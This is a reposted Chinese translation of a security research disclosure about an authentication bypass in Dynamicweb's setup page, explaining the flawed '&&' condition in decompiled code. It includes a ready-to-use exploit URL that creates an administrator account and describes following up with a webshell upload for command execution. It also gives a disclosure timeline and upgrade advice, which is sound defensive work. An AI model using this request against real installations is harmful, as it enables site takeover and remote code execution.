在审核企业应用程序时,不仅要关注具体的漏洞类别,还要关注如果被利用可能会产生重大影响的逻辑缺陷。
许多企业 Web 应用程序包含一个设置流程,该流程仅应在首次运行软件时触发。这些设置流程启用敏感功能,例如配置数据库或用户。
在对这些设置流程进行分析时,应确认在设置阶段完成后是否无法触发这些流程。
在 Dynamicweb 的情况下,可以触发设置流程使用的代码路径,以向系统添加新的管理员用户。添加用户后,可以上传一个 ASPX webshell 来实现命令执行。
根据 Dynamicweb 的营销材料:
Dynamicweb 提供基于云的电子商务套件。Dynamicweb 使客户能够通过我们的内容管理、数字营销、电子商务和产品信息管理解决方案提供更好的数字客户体验并扩大电子商务的成功。
我们发现/Admin/Access/Setup/Default.aspx
在某些条件下无需重定向到身份验证即可到达端点。
将其映射回源代码,我们发现了以下文件和代码片段:
Dynamicweb.Admin/Dynamicweb/Admin/_Default3.cs
protected void Page_Load(object sender, EventArgs e)
{
string text = Dynamicweb.Context.Current.Request["Action"];
if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
{
base.Response.Redirect("/Admin");
}
if (!string.IsNullOrEmpty(text))
{
Dynamicweb.Content.Management.Setup.HandleAction(text);
}
你能发现上面的逻辑缺陷吗?
这里存在逻辑缺陷:
if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
如果您仔细阅读代码块,您会意识到只要text
变量填充了任何内容,这个条件就不会成立。text
变量是从参数派生的Action
。
&&
实际上应该||
是。
由于这是由用户控制的,因此我们能够有效地绕过阻止再次运行设置步骤的控制。
提供的Action
然后被传递给Dynamicweb.Content.Management.Setup.HandleAction(text);
.
在查看代码时,HandleAction
我们发现以下内容:
internal static void HandleAction(string action)
{
ActionResult actionResult = null;
IsSetupCompleted = false;
switch (action)
{
case "copyfiles":
if (Context.Current.Request.GetBoolean("mapToExistingFolder"))
{
string @string = Context.Current.Request.GetString("filespath");
... omitted for brevity ...
case "tryconnectdatabase":
actionResult = CanConnectToDatabase(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
if (!actionResult.Success)
{
actionResult = CanConnectToDatabaseServer(Context.Current.Request["server"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
}
break;
case "setdatabasesettings":
actionResult = SetupDatabaseSettings(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request.GetBoolean("integrated"), Context.Current.Request.GetBoolean("azure"), Context.Current.Request.GetBoolean("createazuredatabase"), Context.Current.Request["connectionString"]);
break;
case "createschema":
actionResult = SetupDatabaseSchemaAndData(Context.Current.Request.GetBoolean("createazuredatabase"));
break;
case "createadministrator":
actionResult = SetupAdministrator(Context.Current.Request["adminusername"], Context.Current.Request["adminpassword"], Context.Current.Request["adminemail"], Context.Current.Request["adminname"]);
break;
case "endsetup":
IsSetupCompleted = true;
... omitted for brevity ...
MakeResponse(actionResult);
}
通过阅读上面的代码,我们可以看到绕过认证后可以进行以下操作:
最具影响力的利用向量是添加一个新的管理员用户,然后在验证后将 ASPX webshell 上传到管理员面板。上传 webshell 留给读者作为练习。
https://target.com/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername=admin1&adminpassword=admin1&adminemail=test@test.com&adminname=test
上面的 URL 将使用用户名admin1
和密码添加一个新的管理员用户admin1
。一旦通过管理员面板的身份验证,就可以上传 web shell 并实现命令执行。
Dynamicweb 认真处理了这些问题,我们感谢他们为修复此漏洞并与我们通信所做的努力。
我们于 2022 年 1 月 21 日向 Dynamicweb 报告了此问题。
此披露过程的时间表如下:
包含修复的热修复版本可以在下面找到:
请尽快升级到这些热修复版本之一。
此博文中发现的漏洞首次出现在 2018 年 8 月的 Dynamicweb 版本中。在审核企业软件时,了解某些管理操作背后的上下文和逻辑非常重要,例如再次运行设置阶段。专注于这些领域可能会导致重要的发现,就像这篇博文中披露的那样。逻辑缺陷通常不会被工具检测到,但仍然会产生很大的安全影响。
作为我们持续安全平台开发的一部分,Assetnote 的安全研究团队一直在寻找企业软件中的安全漏洞,以帮助客户识别其攻击面的安全问题。
将这项研究作为一个整体来看,关键的一点是部署该软件的组织通常缺乏或误解了对企业软件公开的可见性。许多组织不成比例地关注内部软件和网络问题,而牺牲了对第三方开发的软件的认识和可见性。我们的经验表明,在广泛部署的企业软件中仍然存在经常被遗漏的重大漏洞。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。